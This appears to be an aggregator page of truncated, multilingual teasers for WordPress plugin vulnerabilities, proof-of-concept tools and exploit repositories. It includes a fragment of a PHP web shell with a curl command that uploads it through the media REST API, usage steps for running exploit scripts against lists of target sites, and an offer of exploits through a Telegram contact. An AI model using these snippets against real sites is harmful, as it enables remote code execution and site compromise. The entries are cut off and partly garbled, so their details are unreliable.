CVE-2023-4281

ID de CVE: CVE-2023-4281 Tipo de vulnerabilidad: Suplantación de dirección IP Descripción: El complemento Activity Log recupera las direcciones IP de los clientes desde cabeceras potencialmente no confiables, lo que permite a un atacante manipular su valor. Esto puede usarse para ocultar el orige...

WordPress Starter Templates plugin <= 4.7.5 - Insecure Direct Object References (IDOR) vulnerability

Insecure Direct Object References IDOR vulnerability discovered by Ananda Dhakal Patchstack in WordPress Plugin Starter Templates versions = 4.7.5...

CVE-2026-2413

CVE-2026-2413 Ally – Web Accessibility & Usability = 4.0.3 - Unauthenticated SQL Injection via URL Path Description The Ally – Web Accessibility & Usability plugin for WordPress is vulnerable to SQL Injection via the URL path in all versions up to, and including, 4.0.3. This is due to insufficien...

WordPress Flexible Quantity – Measurement Price Calculator for WooCommerce plugin <= 2.3.21 - Broken Access Control vulnerability

Broken Access Control vulnerability discovered by sungbyeongchan in WordPress Plugin Flexible Quantity – Measurement Price Calculator for WooCommerce versions = 2.3.21...

CVE-2025-6085

Make Connector shello.php ".shellexec$GET"cmd".""; ? EOF curl -k -X POST https://lab1.hacker/wp-json/wp/v2/media \ -H "IWC-API-KEY: YOURFRIENDLYKEYHERE" \ -F "[email protected]" \ -F "title=Hacker World" \ -F "description=A test file" \ -F "caption=Hacker Caption" \ 上传到上传文件夹后利用 shell：...

WordPress Site Kit by Google plugin <= 1.186.0 - Cross Site Request Forgery (CSRF) vulnerability

Cross Site Request Forgery CSRF vulnerability discovered by Ananda Dhakal Patchstack in WordPress Plugin Site Kit by Google versions = 1.186.0...

WordPress Quiz And Survey Master plugin <= 11.2.5 - Insecure Direct Object References (IDOR) vulnerability

Insecure Direct Object References IDOR vulnerability discovered by Adam Kahlon Adkali in WordPress Plugin Quiz And Survey Master versions = 11.2.5...

WordPress Deposits and Partial Payments for WooCommerce plugin <= 3.1.0 - Broken Access Control vulnerability

Broken Access Control vulnerability discovered by Arif Shaikh in WordPress Plugin Deposits and Partial Payments for WooCommerce versions = 3.1.0...

CVE-2024-51793

WordPress 计算机维修店 = 3.8115 - 未认证任意文件上传 CVE-2024-51793 WordPress 的 CRM 插件 – RepairBuddy 在所有版本（直至并包括 3.8115）中因缺少文件类型验证而存在任意文件上传漏洞。这使得未经认证的攻击者能够在受影响站点的服务器上上传任意文件，从而可能实现远程代码执行。 如需更多 WordPress 漏洞利用及独家漏洞，请通过 Telegram 联系我 @KtN1990。 用法 要运行此漏洞利用程序，你需要安装 Python 3 并准备网站列表 root@kitploit: python3 exploit.py -l...

CVE-2024-10924-Wordpress-Docker

CVE-2024-10924 : Wordpress Really Simple Security 在 Docker 中的认证绕过漏洞 描述 用于 WordPress 的 Really Simple Security 插件（Free、Pro 和 Pro Multisite），版本 9.0.0 到 9.1.1.1，存在一个认证绕过漏洞。 该问题源于双因素 REST API 操作中使用的 checkloginandgetuser 函数对错误处理不当。 因此，如果启用了“双因素认证”功能（默认禁用），未经认证的攻击者可能以任何现有用户（包括管理员）的身份登录。 易受攻击的 docker...

CVE-2025-47577

CVE-2025-47577 - WordPress TI WooCommerce Wishlist 中已上传图片的路径 💾 将有效的已上传图片 URL 保存到 result.txt 💾 将有效的愿望清单 URL 保存到 resultwishlist.txt 🧠 研究人员 致谢：Patchstack Database 🚀 使用方法 1. 准备 list.txt 文件，其中包含目标域名列表（每行一个，不带 http）。 2. 将要上传的文件（例如 hinata.jpg）放在同一文件夹中。 3. 运行脚本： root@kitploit: python3 CVE-2025-47577.py 示...

CVE-2023-6933

Introduction to CVE-2023-6933 Vulnerability Description The "Better Search Replace" plugin for WordPress exhibits a critical vulnerability known as PHP Object Injection. This security flaw is present in all versions up to and including 1.4.4. It arises from the deserialization of untrusted input,...

CVE-2022-29455

CVE-2022-29455 Vulnerabilidad de WordPress - XSS Cross-Site Scripting Ubicación de la vulnerabilidad https://add your target here/wp-content/plugins/elementor/assets/js/frontend.min.js Versión vulnerable Ejemplo - https://www.youtube.com/watch?v=4qvOkSbhcE...

CVE-2023-2982

CVE-2023-2982 WordPress Social Login and Register Discord, Google, Twitter, LinkedIn = 7.6.4 - 認証バイパス 情報 WordPress 用 Social Login and Register Discord, Google, Twitter, LinkedIn プラグインは、バージョン 7.6.4...

CVE-2023-6000

CVE-2023-6000 PoC 这种检测方法是如何工作的？ 此模板会查看以下路径：/wp-content/plugins/popup-builder/readme.txt 根据列出的 Stable Tag，如果版本早于 4.2.3，则视为存在漏洞。 如何运行此脚本？ 1. 从此处下载 Nuclei 2. 将模板复制到你的本地系统 3. 运行以下命令：nuclei -u https://yourHost.com -t template.yaml 参考资料 https://nvd.nist.gov/vuln/detail/CVE-2023-6000...

CVE-2025-15368-Exploit

CVE-2025-15368 漏洞利用工具 WordPress 的 SportsPress 插件（= 2.7.26）— LFI 与 RCE 作者: kazehere4you 日期: 2026-02-11 描述 该工具利用了 WordPress 的 SportsPress 插件（版本 2.7.26 及更低）中的一个本地文件包含（LFI）漏洞。通过使用 eventlist 短代码并操纵 templatename 属性，经过身份验证的攻击者（贡献者 Contributor 及以上权限）可以包含任意文件。 此外，该工具还包含一个利用链，可通过上传恶意图片文件并借助 LFI...

CVE-2023-32243-Detection-and-Mitigation-in-WordPress

🔐 CVE-2023-32243 – WordPress 中的检测与缓解 📘 项目标题： Essential Addons for Elementor WordPress 插件中 CVE-2023-32243 的检测与缓解 🧠 摘要 本项目探索了 CVE-2023-32243 的利用与防御，这是一个影响 WordPress 中 "Essential Addons for Elementor" 插件（版本 5.4.0 至 5.7.1）的严重 权限提升漏洞 （CVSS 评分：9.8）。该漏洞允许未经身份验证的攻击者重置管理员密码，从而获得 WordPress 后台的完全访问权限。...

POC-CVE-2023-3244

CVE-2023-3244 漏洞概念验证 你好，这是一个针对 WordPress 插件 "comments-like-dislike" 中发现的 CVE-2023-3244 漏洞的简单概念验证 PoC。该漏洞影响插件版本 1.2.0 及以下。 要利用此漏洞，你可以参考提供的 Python 脚本。但是请注意，该问题已在插件版本 1.2.1 中得到解决和修复。 更多阅读和链接 有关此漏洞的更多信息和外部阅读，你可以访问国家漏洞数据库 NVD 网站：CVE-2023-3244 或者，如果你更习惯使用 exploit-db，可以使用这个链接：CVE-2023-3244 searchsploit ...

wp-file-manager-0day

CVE-2020-25213 wp-file-manager 6.7 2020年8月20日 WordPress 插件 0day elFinder 漏洞是一个众所周知的漏洞，我的脚本只是将路径改为 "/wp-content/plugins/wp-file-manager/"。不要再要求我为脚本或其他东西提供修复。RTFM... 参考链接： https://www.exploit-db.com/exploits/46481 https://www.exploit-db.com/exploits/46539...

CVE-2024-10924-PoC

PoC Authentication Bypass MFA Really Simple Security WordPress Plugin | CVE-2024-10924 We access the WordPress web page where we will see that it has MFA enabled through the vulnerable plugin: We must run the PoC and provide the login credentials: Automatically, the browser will open via a...